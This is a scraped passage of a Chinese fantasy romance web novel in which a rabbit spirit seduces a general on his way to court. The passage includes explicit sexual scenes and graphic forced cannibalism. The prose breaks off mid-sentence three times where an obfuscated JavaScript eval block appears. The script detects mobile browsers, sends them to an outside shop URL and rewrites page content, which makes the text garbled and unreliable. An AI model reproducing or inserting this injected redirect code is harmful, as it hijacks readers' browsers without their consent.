绮雪脱光衣服,坐进浴桶里,很快被蒸得肌肤泛粉。他泡在热水里,感觉很舒服,紧绷的神经渐渐放松下来,思考着接下来该怎么办。 幸好他还是博得了卫淮的喜爱,其实被短刀抵住喉咙,他也很害怕,可跳舞的时候他一直在暗中观察卫淮的反应,卫淮看得还是很专注的,不像是不喜欢他的样子,这才决定放手一搏,万幸的是他得到了想要的结果。 现在卫淮应该还算是喜欢他,但这份喜欢肯定不会有多深,更多的是一时新鲜。他要做的就是笼络住卫淮的心,让卫淮更迷恋他,带他回上京,这样他才有机会见到天子。 至于用什么办法,毫无疑问,还是他的美貌,美貌就是他最锋利的武器。 到了上京,他就想办法入宫,成为天子的宠妃。 山阴娘娘教他利用美貌,应该也是这个意思,虽然得到天子的青睐也不一定就要入后宫,但他既不能征善战,也无经世之才,做不了陛下的肱骨之臣,就只能做个惑乱君心的宠妃了。 绮雪擦洗头发的动作越来越慢,彻底陷入了沉思,直到身后传来的声音打断了他。 “洗得这么慢?我都等得不耐烦了。” 卫淮语气含笑,从绮雪身后撩起他的长发,露出美玉般的后背,俯身落下亲吻。 绮雪哪被这么碰过,情不自禁地颤了颤:“我这就出来。” “不用了,我和你一起。” 卫淮脱下衣服,赤.裸着修长健美的身体,踩上矮凳跨入浴桶。 浴桶很大,但同时进来两个人就显得逼仄了许多,卫淮长臂一舒,将绮雪揽入怀中,亲密无间地贴在一起。 “将军,我……” 绮雪还以为他真是来洗澡的,正打算表现一番自己的贴心,为他擦擦背,卫淮却不给他说完的机会,亲吻铺天盖地落了下来。 …… 浴桶里的水凉了,卫淮抱着软成一滩水的绮雪回到榻上,将他摆成跪伏的姿势,握住了他的腰。 绮雪抱住被子发出可怜的呜咽,向卫淮求饶,谁知卫淮却笑道:“既然还有力气说话,不如说些我爱听的,也许我会早点放过你。” 到最后,绮雪生生累得睡了过去,甚至不记得灯台上的烛火是何时熄的。 他再一睁眼,就已经是转日晌午了。 卫淮不在帐中,只有个黑黑瘦瘦的小姑娘在旁边守着,一直支着脑袋欣赏他的睡颜。 见他醒了,小姑娘介绍自己,说她叫杏儿,已经十二岁了,但她太瘦太矮,绮雪看她也就像八九岁的样子。 以前杏儿家里很穷,快要饿死人了,父母就拿她换了邻居家的女儿,两家易子而食。 她像只活羊似的被吊了起来,下面堆着柴火,四周围了一圈等着吃她的人。 曾经对她很亲切的伯伯饿得忍不住了,拿起磨得很锋利的薄石片,准备先从她身上割下一块生肉尝尝荤腥味,一支利箭忽然从远处飞来,钉穿了他的手,也割断了绑着杏儿的绳子。 救下杏儿的人就是卫淮,也是他带着她回了军营,让她在伙房帮忙。 今天早上,卫淮又把她叫过来伺候绮雪,军中的一群男人都是莽夫,也就杏儿是个细心的,还能照顾绮雪。 杏儿说:“将军说,公子今天肯定腰疼得下不来床,要我帮你揉一揉吗?” 绮雪听了来气,心想着卫淮原来也知道他把他折腾得这么狠,他的腰真是酸得起不来床了,但他身上痕迹太多,不想让一个小女孩看见,就摇了摇头:“给我倒杯水就行。” 杏儿手脚麻利地倒好温水,扶着绮雪喝了下去,绮雪一连喝了两杯,示意杏儿不用再倒了:“好了,已经够了。” “公子饿不饿?我叫伙房给你留了饭菜,还是热的。”杏儿关心地问。 绮雪问了菜色,一听全是肉菜,立刻摇了摇头:“我胃口不好,只能吃素,有点心吗?” “有的,公子稍等。” 杏儿做事相当周全,提前就做好了点心,她做的甜点又香又酥,美味可口,绮雪一口气全吃光了,真心实意地夸奖她:“太好吃了,你可真厉害。” 杏儿的小脸上露出了笑意:“公子喜欢就好。” 小姑娘聪明又能干,很讨人喜欢,身世却如此可怜,绮雪不由得对她产生了几分怜惜。 他恢复了一些体力,继续和杏儿闲聊,问了一个他比较好奇的问题:“你的邻居后来怎么样了,他们有没有受到惩罚?” “受到了。”杏儿点点头,“将军说,既然他们喜欢吃人肉,就互相吃好了,每个人都要吃掉一片家人的肉。” 祖母吃父亲,父母吃儿子,儿子吃母亲。 越是珍爱,越是不忍,就越要吃,他们都要品尝自己最爱的人。 母亲哭着摇头,对儿子下不去手,卫淮笑了起来:“你舍不得割掉儿子的一片肉,却舍得将女儿送给人吃?也罢,那你就吃你女儿的肉吧,我 7.07 绮雪感觉得出卫淮正在检查他的身体,慢条斯理,温柔细致,一定要帮他检查到位。 这种检查的方式让绮雪想起了在大荔山上的日子,他总是被桑迟他们追猎,追到了就把他扑倒在地,乱舔他的兔毛,将他整只兔舔得湿透了,才会得意地扬长而去。 现在卫淮做的事也差不多,可绮雪没了兔毛,再加上蒙着眼睛,感受自然会变得天翻地覆,受不了地摸索过去,拉住卫淮的手,央求他停下来。 卫淮愉快地拒绝了他:“是你自己招了我,你却要我停下来?对我这么召之即来挥之即去的,未免太欺负我了。” 到底是……谁欺负谁! 绮雪抱住被子,气得直咬被角,但很快就连咬被角的力气都没有了。 其实绮雪对这方面的认知很浅薄,仅限于在书本里的了解,自己没亲身体会过,甚至是有些避之不及。 因为每到春天,万物复苏的季节,大荔山的风景就会变得格外壮观,漫山遍野都是求偶的小动物。 绮雪作为最漂亮的小兔子,不仅被母兔扑,被公兔骑,被成群结队的动物追着乱窜,就连筑巢的小鸟们都以在巢中放一撮他的兔毛为荣,追着他的尾巴叨叨叨,直到薅下一大撮兔毛。 这样的春天绮雪经历了一百多次,内心的阴影之深,早就不是可以用语言形容的了。 所以他一直没有配偶,对繁衍子嗣更是毫无兴趣,昔日和他同龄的兔族早已故去,繁衍了成千上万的后代子孙,只有他始终是孤零零的,陪伴他最久的就是绿香球这个好朋友。 直到下山遇见卫淮,绮雪才初尝欢合的滋味,舒服是真舒服,累也是真累,偏偏卫淮的花样又那么多,他几乎是才一开始就已经溃不成军了。 绮雪埋着脸小声啜泣,他的声音婉转动人,哭起来更是惹人怜爱。 可卫淮不一样,他只有爱没有怜,就喜欢听绮雪哭,还逗弄绮雪:“再哭着叫一声‘相公’给我听听。” 绮雪没开口,这是他最后的尊严了,卫淮察觉到了他的小脾气,笑意从眼中漫溢出来,低头亲了亲他的小腿。 忽然他注意到绮雪的右小腿上有一条疤痕,疤痕不长,色泽很浅,如果不是这么近的距离,根本看不出来。 卫淮轻轻地抚摸疤痕:“这是箭伤,你中过箭?” “嗯……”绮雪的反应有些迟钝,迷迷糊糊地应着。 “谁干的?”卫淮问,“我替你杀了他。” “不用了。”绮雪低声说,“他已经死了。” 这一箭就是十几年前差点射死他的箭。 当时天子尚未登基,是宫中最小的九皇子,先皇围猎,带上了所有皇子公主和几位最受宠的后妃,他腿上这一箭是三皇子射的。 他被钉穿了后腿,血流如注地哀叫起来,想逃却逃不走。三皇子的随从过来取猎物,拎着他的兔耳朵将他提了起来,正要一刀割断他的脖子,忽然有个稚嫩的声音阻止了随从。 这个幼童就是九皇子贺兰寂,当时刚满三岁。 年幼的小皇子心地善良,不忍心看到小兔子被残忍地剥皮吃肉,便出面救下绮雪,带回去养了一个月,直到绮雪伤势痊愈,才将他放归山林。 绮雪还记得三皇子是个心胸狭隘的人,被幼弟抢了猎物,他非常恼火,发了好大一顿脾气,不过贺兰寂的生母是皇后,东宫太子又是他的亲兄长,身份尊贵,三皇子再怎么恼怒也不敢找贺兰寂算账,直到绮雪被放回去之前都再没有见过他。 绮雪回到大荔山后,时不时地就拜托绿香球替他打探贺兰寂的消息,但上京距离大荔山太过遥远,很少会传来那边的消息,关于贺兰寂后来的事,绮雪也就知道一点点。 一次是贺兰寂的母后和太子兄长接连病故,三皇子入主东宫,生母荣妃封为继后。 另一次是两年前,十六岁的贺兰寂杀兄弑父篡位登基,成了天下人口中残虐不仁的暴君。 三皇子自然是死在了贺兰寂逼宫的那一夜,他死以后,曝尸在上京郊外,血肉遭乌鸦啄食,死无全尸。 绮雪没有继续说下去,显然是不愿再提。 卫淮没有追问,握住他的脚踝,轻吻那处浅浅的伤疤:“算我欠你一回,以后谁欺负你,我就替你杀了谁。” 或许是出于对绮雪的怜惜,也或许是因为卫淮还算信守承诺,只有这一处疤痕,他就真的只来了一回,中间也没怎么折腾绮雪。 但绮雪睡得还是很沉,依然不知道卫淮是什么时候离开的。 当夜卫淮没有回军营,杏儿说这是常有的事,有些种类的食人妖魔喜欢昼伏夜出,只有深夜才能抓到他们,甚至卫淮连着两晚睡在军营都算难得了,他是为了陪绮雪才留下的。 “将军特意吩咐过,要是公子在军营中待得无聊,就让我们给你买来解闷的东西,公子有没有什么想要的?”杏儿问。 绮雪想了想,问道:“我能出去逛逛吗?” 军中守卫森严,妖兽能察觉到入侵者的气味,绿香球不敢冒险偷溜进来,他想出去跟她见一面。 杏儿摇摇头:“城外的郊野很危险,只靠几个人没法保护好公子,不过等将军回来,他会陪着公子出去玩的。” 绮雪也不强求,又拜托杏儿给他带来几本蒙童学字的书,他还得接着学认字,才能读懂山阴娘娘给他的小说。 这回杏儿答应得很痛快,下午就给绮雪送来了书,还贴心地准备了上好的文房四宝。 绮雪没用过毛笔,好奇地拿起一支笔看了看,摸摸上面的毛:“这是什么毛?” 毛笔做过处理,他闻不出毛的气味。 杏儿:“公子手中的这支是狼毫,桌上的那支是兔毫。” 绮雪:“……” 他默默地推开兔毫毛笔:“以后只准备狼毫笔就好,还有……把这支兔毫笔埋了吧。” “?”杏儿不太明白,但还是乖巧地应声,“是,公子。” 一连三日,卫淮都没有回营,绮雪专心致志地看书,学得很快,已经认识了不少字。 杏儿加入了他的行列,和他一起看书认字,这是因为绮雪发现他看书的时候,杏儿总是眼巴巴地盯着他,他就问杏儿:“你想看书吗?” “想……” 杏儿脸红了,露出了不好意思的表情,平时总是很沉稳的她终于像是个小孩子了:“可是我没读过书……我挺笨的。” “试都没试过,你怎么就知道自己不行呢?说不定你就是下凡的文曲星。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915929|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绮雪将另一把座椅搬到书案前,拍了拍椅面,朝她微笑:“来,快坐,我们一起学。” “谢谢公子!” 杏儿高兴地跑过去坐下,小心翼翼地摸了摸雪白的宣纸,又摸摸蒙学书的封皮,眼睛亮晶晶的:“其实封面上的字我一个都不认识,这些书都是长史大人帮我找来的。” “我已经认全封皮上的字了。” 绮雪骄傲挺胸:“我来教你,这本是《急就章》,这本是《幼学》……” …… 深夜。 杏儿认了一天字,终于累得睡着了,绮雪将她搬到榻上,给她盖好了被子,好在小姑娘身子骨轻,不然就凭绮雪这点力气,哪可能搬得动她。 安顿好杏儿,绮雪坐回到书案前,搓了搓手,有点兴奋地从识海里取出了《玉衡传》,打算这就试读一下。 小说写得通俗易懂,没有高深的遣词造句,绮雪能看懂大部分,得知主角名叫姬玉衡,这本书就是他的个人传记。 姬玉衡出身不凡,是南平郡宝华郡主的独子,而宝华郡主又是前朝长公主的女儿,算起辈分,他是天子贺兰寂的外甥,但实际年龄比贺兰寂大两岁,今年刚及弱冠。 姬玉衡从小就没有父亲,郡主与驸马和离了。这是因为驸马风流成性,偷偷地养了外室,郡主得知后大发雷霆,直接提剑找上了门,捅了驸马几剑就把他踹了。 “郡主怒道:‘你们这对……’”绮雪逐字阅读,忽然遇上了不认识的字,“什么夫什么妇?” 他正要查查这两个字,一股淡淡的血腥气忽然飘进了幄帐,几天不见的卫淮掀帘而入,朝他笑了笑。 绮雪已经来不及将小说直接放回识海了,因为这样做会导致书册凭空消失,卫淮肯定会怀疑他的身份。 他没有办法,只能将小说藏到一堆书册下,再悄悄地收回识海。 卫淮见他慌乱藏书,仿佛那本书见不得人似的,目光变得意味深长起来:“看的什么书,怎么还要瞒着我?” 绮雪成功收回小说,立刻放心不少,神态纯真无辜地说:“没有瞒着将军,就是认字的书。” “是吗?”卫淮似笑非笑地走了过去,“我看看。” 绮雪任由他看,卫淮一本本地翻了过去,确实都是蒙学书,没有乱七八糟的东西。 卫淮不动声色地放下书册,摸摸绮雪的头发,笑着夸奖他:“我听说我不在的这几天里,你每天都废寝忘食地念书,我的阿雪可真乖。” 绮雪鸡啄米似的点头:“我真的很努力。” 为了展现自己的刻苦,他将那两个不懂的字写在纸上,虚心请教卫淮:“将军,我不认识这两个字,它们是什么意思?” 卫淮垂眸看绮雪写的字,尽管绮雪的字写得不太好看,但字形还是正确的,很轻松就能认出来。 一个“奸”字。 一个“淫”字。 再一看绮雪,他的眼神纯洁极了,全是对知识的渴望。 卫淮眉眼弯弯,抽出短刀割破绮雪的衣襟,将他的衣裳全撕了下来。 “小色胚。”他语气温柔,却毫不留情地翻转绮雪的身体,将他按在座椅上,重重地揍了一下他的屁股,“我就知道你看的不是什么正经书。” 8.08 绮雪挨了一掌,不由得呜咽出声,感觉自己冤枉极了。 他不明白,自己明明就是在用功念书,怎么就成了卫淮口中的小色胚,但他来不及解释了,只能抬手挡住卫淮的胸膛,可怜地央求:“杏儿……杏儿还在,我们别在这里……” 他没什么羞耻心,却不能接受当着小孩子的面和人亲密,卫淮瞥了一眼熟睡的杏儿,取下挂在衣桁上的斗篷,将绮雪从头到脚地裹严,抱着他出了幄帐。 军营的篝火燃烧得很亮,卫淮的面容在火光下清晰可辨,巡逻的军士纷纷向他行礼。 他们都知道青郡太守送给卫淮一位美人,深得卫淮宠爱,但美人深居简出,几乎不会走出将军帐,很少有人见过他的真容。 可凡是见过他的人,在提起他时都会面露神迷意夺之色,难以忘怀那惊鸿一瞥。 没见过的人越发心痒难耐,若非军纪森严,卫淮在军中的威望又极高,他们早就壮着胆子跑去偷看了。 几人自然看到卫淮怀中抱着人,应该就是那位美人了,很可惜的是,美人被斗篷遮得严严实实的,他们看不见他的脸,只能看到如瀑的乌发从兜帽边缘垂落下来。 军士们遗憾地低下头,恭送将军离开,但就在他抱着美人从他们身边经过的时候,一股淡淡的香气弥漫开来,清新素雅,是美人身上的幽香。 也足够他们回味许久了。 卫淮抱着绮雪坐上白虎,白虎一跃而起,矫健地越过鹿砦,朝着旷野疾驰而去。 月华如银,微风吹动茂盛的长草,发出沙沙声响,静谧而安宁。 白虎一路跑到离军营足够远的地方,渐渐慢下脚步,趴在地上不动了,卫淮和绮雪却没有下来,而是伏在虎背上亲吻着。 绮雪躺在温热的虎毛上,为白虎的气息所慑,浑身轻微颤抖着,害怕地抱紧卫淮。 他越是这样,卫淮就越不放开他,掐紧他的腰:“你又投怀送抱。” “我害怕……”绮雪搂住他的后颈,讨好地亲他的耳朵,“我们下去好不好?” 被他主动亲吻,卫淮身形一顿,眸中流露出笑意,抬起他的下巴说:“你叫我一声‘七郎’,我就抱你下去。” “七郎……求你了,抱我下去。” 绮雪为了讨卫淮欢心,什么都肯做,更何况只是叫他一声。 这一声“七郎”缠绵婉转,连石佛听了都要化成春水,卫淮更是满心愉悦,轻吻他的唇瓣:“我的好阿雪,以后就这么叫我,我喜欢听。” 两人荒唐了大半夜,天色将亮才返回军营,一沾到枕头,绮雪就立刻陷入了熟睡,这一觉睡得昏天黑地,直到黄昏时才醒。 绮雪揉着眼睛,迷糊地坐了起来,惊讶地发现卫淮还在。 卫淮一身锦绣常服,坐在书案前,闲适地将双腿架在案面上,像个浪荡的公子哥,手里拿的却是本兵书,纸张微微泛黄,显然读过很多遍。 听到绮雪起来的动静,卫淮抬起含笑的桃花眼:“你可真能睡。” 绮雪脸色微红,低头寻找自己的衣服,却没找到,卫淮取来一套新的给他:“送给你的,看看合不合身。” 他为绮雪准备了一身浅桃粉的衫子,这么娇艳鲜妍的色泽穿在绮雪身上却格外合适,将他的眉眼映衬得秾丽清艳,绮雪自己也很喜欢:“谢谢将军。” “说好叫我‘七郎’的。” 卫淮轻捏绮雪的鼻尖:“我在族中行七,亲友都这样叫我,你既然跟了我,就该与我亲密些,别那么生分。” 绮雪从善如流地改口:“谢谢七郎。” “乖。”卫淮摸摸他的头,然后告诉他,“青郡的食人妖魔清理得差不多了,后日大军就会拔营南下,我这两天都有空,如果你想和徐太守告别,我可以陪你一起去。” 绮雪点点头:“我想明天出去看看。” 他倒不是多想见徐太守,主要是得找个机会和绿香球说说话,他还不知道她躲在哪里。 为了绮雪明天还能起床,卫淮今晚什么都没做,就是单纯地抱着绮雪睡觉。 绮雪白天睡得太多,到了晚上怎么也睡不着觉了,在卫淮怀里翻来覆去,引得卫淮发笑:“让你贪睡。” 他抚摸着绮雪纤细的后背,又说道:“既然你睡不着,我们就聊天吧。你说说你自己,我想知道你以前过的是什么样的生活。” 实话当然不能说,不过绮雪也深知谎言越多破绽就越多的道理,干脆不说了,反客为主地问起卫淮:“我的生活很普通,没什么特别之处。七郎呢?你这么年纪轻轻就能成为大将军,想必一定很不容易吧。” “没什么辛苦的,不过是投了个好胎。” 卫淮风轻云淡地说:“我的父亲是庆国公,母亲亦是名门贵女,与先皇后是闺中密友,我自小就经常入宫和陛下玩耍,陛下登基后,顾念少时友谊,封我为大将军,就这么简单。” “你是陛下的好朋友?” 听到他提起天子贺兰寂,绮雪一下子来神了:“这样说来,你应该很了解陛下,他是个什么样的人?” 卫淮的目光落在他脸上:“你对陛下很感兴趣?” 绮雪眨眨眼睛:“难道还有人没兴趣吗?” 卫淮道:“你觉得呢,天下人都畏惧陛下、痛恨陛下,唾弃他是杀兄弑父的暴君,像你这样对他感兴趣的人才少见。” “人言可畏,谁知道是不是真的。”绮雪其实不太相信传言,贺兰寂连兔子都舍不得杀,又怎么会杀死父皇和兄长,“也许就是民间的以讹传讹……” “都是真的。”卫淮笑了笑,毫不避讳地说,“陛下逼宫的那夜我也在场,我亲眼看着他杀了先皇和继太子。要我讲讲他们的死状吗?先皇被五马分尸,全身骨肉脱离,而继太子……” “别、别讲了。” 绮雪有点被吓到了,难以相信这竟然是善良的恩人干出来的事:“我不明白,先皇是陛下的血亲,陛下杀他就算了,为什么还要用五马分尸的酷刑?亲父子还能有这么大的仇怨吗?” “这就说来话长了。”卫淮说,“想知道吗?” “想。” 绮雪勾住卫淮的后颈,主动吻上他的薄唇:“七郎,好七郎,告诉我吧。” 卫淮对他的撒娇十分受用,勾着唇角享受了半天,说出来的却是回绝的话:“我困了,想睡觉,改天告诉你。” 什么? 绮雪傻眼了,眼睁睁地看着卫淮沉入梦乡,气得简直想在他脸上泼冰水弄醒他。 但他想了想,现在自己是寄人篱下,未来还要仰仗卫淮带他到上京,得罪不起人,就暗戳戳地记下了这一笔,等到日后得势再找卫淮算账也不迟。 翌日。 卫淮早早地晨起练武、处理军中事务,绮雪却又在睡懒觉,等他起床吃过杏儿做的早饭,卫淮就带着他离开了军营,骑马进入城中。 绮雪头戴帷帽,卫淮也没披甲,守城门的卫兵没有认出他们。两人牵着马在城中闲逛,绮雪发现城里似乎比他刚来的那日热闹了些,百姓脸上也多了几分笑脸。 听他们聊天,绮雪才知道原来是官府给每户人家发了米面和布匹,据说还要招人兴修水利,但不算徭役,而是招工,给的工钱不少,很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930148|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都打算去做工。 绮雪有些纳闷官府哪来的钱,等到见了徐太守方才得知,原来这些钱都是卫淮出的。 卫淮承诺可以答应徐太守的任何要求,徐太守就壮着胆子提出免除青郡三年的赋税,还敲了卫淮一大笔银子,另外,在青州留下三百名诸怀卫长期驻守,抵御日后入侵的食人妖魔。 他提出这些要求的时候,其他官员都觉得他疯了,苦口婆心地劝他赶紧打消念头,生怕他被卫淮砍了脑袋。 徐太守却只是梗着脖子,坚持照原样把要求交给卫淮,出乎其他人意料的是,卫淮竟然很爽快地答应了,甚至送来的银子比徐太守要的只多不少。 数十车的雪花纹银被搬进太守府的那日,官吏们都看呆了,青郡穷困,连带着他们这辈子也都没见过这么多钱,如今乍然暴富,一个个的都不知所措,甚至有人当场抹起了眼泪,反复地在嘴里念叨着“青郡有救了”。 只有徐太守不觉得意外,他知道这一切都是绮雪的功劳。 为绮雪一掷千金,是卫淮心甘情愿的,这钱他花得高兴,徐太守越是狮子大开口,他反倒越满意。 徐太守见到绮雪,内心也是百感交集,忍不住眼眶微湿。 他知道绮雪就要离开青郡了,于是叫夫人取来一个小巧的檀木盒,里面装着十根金条和几枚品相上好的南珠。 他将木盒塞进绮雪怀里:“我知道这些不算多,但现在我只能拿出这么多了,你先带上,等到日后宽裕起来,我再差人将银子送到上京。” 绮雪了解银钱的常识,这哪里算是不多,反而丰厚得让他不敢收了,连忙摆手回绝:“我用不上这么多钱,还不如留给郡中的百姓。” “用得上,肯定用得上。” 徐太守说:“上京是天下一等一的锦绣繁华之地,瑶台银阙、玉楼金阁,有着道不尽的富贵明盛,可若是身无分文地进了上京,这里就会变成吞吃人命的地狱,休想再活着出去。” “我知道卫将军宠爱你,可多些银钱傍身总是没错的,只要有钱,哪怕来日你必须离开将军府,也终归能有几分底气。” 盒中的几枚南珠是徐夫人年轻时的陪嫁,还有两根金条也是徐太守变卖了祖传的绝版古籍填进去的,但夫妻二人对此都只字未提。 徐夫人说:“绮公子,你对我们有恩,我们都记在心里,倘若你受了委屈,不愿留在将军府,那就回青郡,你可以将我们当成你的亲姨母和亲姨丈,我们都欢迎你回来。” 绮雪心中温暖,捧着檀木盒,甜甜地唤了一声:“姨母,姨丈,不用担心我,我肯定会在上京过得很好的。” 夫妻二人都露出笑脸,欣慰地应道:“好孩子。” 徐太守留绮雪和卫淮吃过便饭,下午,卫淮和徐太守商议公务,绮雪偷偷地在后花园和绿香球见面,和她说了最近几天发生的事。 绿香球听得连连点头:“徐太守是个老糊涂,但他对你真是挺好的,要是将来咱们两个在上京混不下去了,就一起回青郡,以后肯定吃喝不愁。” 绮雪道:“别说丧气话,明明到现在为止都挺顺利的。” 绿香球:“你赶紧想个办法把我弄到你身边去,不然太不方便了,我都没法给你帮忙了。” 绮雪点头:“我会想办法的。” 回到军营,绮雪收拾好了自己的包袱,将檀木盒与桑迟的少主令牌放到一起,妥帖地藏好,这两样就是他最重要的东西,关键时刻可以用来保命。 转日清晨,大军开拔。 绮雪被卫淮抱到白虎背上,最后回头遥望一眼,就此离开了青郡。 9.09 行军赶路总是很无趣的,路上所见的风景都大差不差,绮雪看了一个时辰就腻烦了。 正好他穿着斗篷,挡住了他的大半张脸,光也照不进来,就索性窝在卫淮怀里睡觉,这样他白天睡得足,晚上还能熬夜看书。 但卫淮没如他的愿,一到晚上,他总是能变着法子地折腾绮雪,花样之多,令绮雪匪夷所思,难道人族都像卫淮这么变态吗? 临时搭建起来的幄帐略显简陋,但该有的家具还是摆全了。卫淮抱着绮雪坐在书案前,提笔写下两个字,笔迹遒劲有力、潇洒自如,正是绮雪问过他的两个字。 “我来教你这两个字怎么读。” 卫淮说:“一个念‘奸’,一个念‘淫’,至于它们的意思么……我换个方法教你。” 他一念读音,绮雪就知道对应的是哪两个字了,对啊,郡主是上门捉奸的,骂的当然就是“奸夫淫.妇”这个词。 山阴娘娘在上,他居然还沾沾自喜地用这两个字请教卫淮……难怪卫淮笑话他是色胚。 绮雪悔之晚矣,人已经被卫淮推倒在桌上,成了漂亮雪白的宣纸。 卫淮换了一支很细的毛笔,沾了清水落下字迹,一笔一划写得很慢,就这样教绮雪认识这两个字。 绮雪苦不堪言,又哭又笑地红了眼尾,面颊也粉若桃花,期期艾艾地向卫淮求饶,什么好话都说尽了。 卫淮扔了笔,含笑在他耳边说:“阿雪真可爱,可惜你越求我,我就越想欺负你。” 当夜除了绮雪的腰,所有人都平安无事,一切风平浪静。 可到了第二天深夜,绮雪忽然在梦中感到一阵惊悸,瞬间清醒过来。 只听幄帐外杀声震天,妖兽的咆哮和食人妖魔的尖唳震得他耳骨发疼,就连军营中央的将军帐都充满了刺鼻的血腥味,可见外面的战况惨烈到了何种地步。 卫淮不在帐中,杏儿却手持长刀守在榻边,见绮雪醒了,她更用力地握住刀柄,认真地说:“我会誓死保护公子的。” 绮雪怎么可能让一个小姑娘牺牲性命保护自己,尽管有些害怕,他还是毫不犹豫地披上长袍,匆匆跑出去查看情况,一根兔毛悄然捏在掌心里,准备一有情况就呼唤山阴娘娘求她救命。 “公子!” 杏儿没想到绮雪竟然跑得这么快,不慎失手,没能拦住他,让绮雪跑出了将军帐。 掀开帘子,血腥气浓烈得让绮雪几欲作呕,不过也正是因为血味太重,他闻不到妖兽的味道了,不会那么害怕,他打量着四周,大帐附近没人,应该是全都在大营外围防守。 他有些担心卫淮,拢了拢肩上的袍子,警惕地往外走,走了一会,他终于见到人了,但眼前血肉横飞的景象过于恐怖,还没等他接近,绵密的血雾就喷了他一身,地面汇聚的鲜血河流也打湿了他赤.裸的双足。 这是绮雪第一次亲眼见到食人妖魔。 夜色茫茫,高大却枯瘦的妖魔皮肤苍白,四肢奇长,与身体不合比例,以诡异的姿态爬行着,吸食着地面上的血液。 它没有眼睛,鼻子也只是两个小孔,嗅觉却极度敏锐,可以捕捉到几里之外最微弱的血肉气息。 这种食人妖魔没有理智,完全受本能支配,贪婪地渴求着鲜活的血肉。它趴在地上,伸出长长的舌头吮吸着血液和肉块,吸干净了,它又盯上了绮雪,嘶吼着朝着绮雪扑了过来。 绮雪转身就跑,好在打不过他还是跑得过的,很快就把这头食人妖魔甩在了身后,不多时,一头妖兽扑向食人妖魔,和它缠斗在一起,几下就把它咬死了。 跑到安全的地带,绮雪抚了抚胸口,平复着呼吸,还有些惊魂未定。 除了中箭的那一回,这次是他经历过的最凶险的情况,而且论恐怖程度,还是今晚更甚,三皇子再怎么说也就是个人,长得比食人妖魔可亲多了。 好在他一路走来,发现情况比他想象中的要好得多,食人妖魔并没有冲垮军营的守卫,只是开了一个小口,但很快就被堵住了,现在正在收尾的阶段,死伤并不惨重。 卫淮的铁骑个个骁勇善战,被冲破防线的情况也是首次出现,只因这一次的妖潮规模实在太大了,正是这样,杏儿才以为这回凶多吉少,发誓拼死也要保护绮雪。 杏儿焦急地提着长刀,到处寻找绮雪,终于发现了绮雪的身影。 她正要过去,另一道人影却比她更快,冲过去将绮雪抱了起来,检查他有没有受伤,语气少有地严肃:“你不该出来。” 绮雪被卫淮抱在怀里,身体抵着冰冷的盔甲,却分外有安全感。 他捧起卫淮染血的面孔,亲了亲他的唇:“可我担心七郎。” 卫淮凝重的神色渐渐变得无可奈何起来,叹了口气,回亲他一下:“放心,我死不了。快结束了,你先回去,我一会就来陪你。” 绮雪见危机解除,当然不会再逞英雄,悄悄收起了兔毛:“我等你回来。” 卫淮点头,在绮雪转身时,他的视线扫过他的脚:“怎么不穿鞋?” 绮雪解释:“出来得急……”就忘了,他做人的时间太短,以前活了一百多年从来不穿鞋。 “去拿双鞋来。”卫淮吩咐杏儿。 杏儿赶紧跑去取鞋,卫淮半跪在绮雪面前,扯过身后的披风,轻柔地为他擦去脚上沾染的鲜血,检查他的脚心有没有被碎石划伤。 军士们杀光了入侵的食人妖魔,只剩下打扫军营和治疗伤兵的任务,终于有了喘息的机会,精神不再那么紧绷。 于是他们视线逡巡,不约而同地看到他们高高在上的大将军竟跪在美人脚边,心甘情愿地服侍他,用天子御赐的披风为他擦脚。 同时他们也是第一次见到美人的真容。 美人如绸缎般的乌发柔顺地垂落而下,身上只披着单薄的外衫,隐约露出莹白娇嫩的肌肤,腰身不盈一握,双腿纤长,被将军捧在掌心上的雪足如玉雕琢,足背线条玲珑优美,脚趾莹润可爱。 月华清寂,他低垂着乌黑的羽睫,容颜绝艳,神色清冷,如不食人间烟火的神子,偏偏他身上落着星星点点的鲜血,似猩红的花苞绽放盛开,为他增添了几分鬼魅的妖冶。 不少人愣在原地,甚至以为是食人妖魔施了妖术,自己才会看到如此美艳诡异的幻象,但他们无法移开自己的视线,更迈不出一步,个个如同石像般僵硬地站直不动。 卫淮专注地为绮雪擦净血迹,又接过杏儿递来的丝履,为绮雪穿好,这才注意到自己的一群手下看绮雪都看呆了,便屈指弹了弹剑:“都看够了吗?” 清越的金石之音唤醒了军士们的神智,他们不由得面露愧色,为自己沉溺于美色感到羞愧,赶紧离开了。 卫淮看了看地面,全都是妖魔的血,索性不让绮雪自己走路了,将他拦腰抱起,免得弄脏他的丝鞋,大步流星地将他抱回幄帐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942816|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 送回绮雪,他也没再出帐,将善后的事全交给亲信处置了。 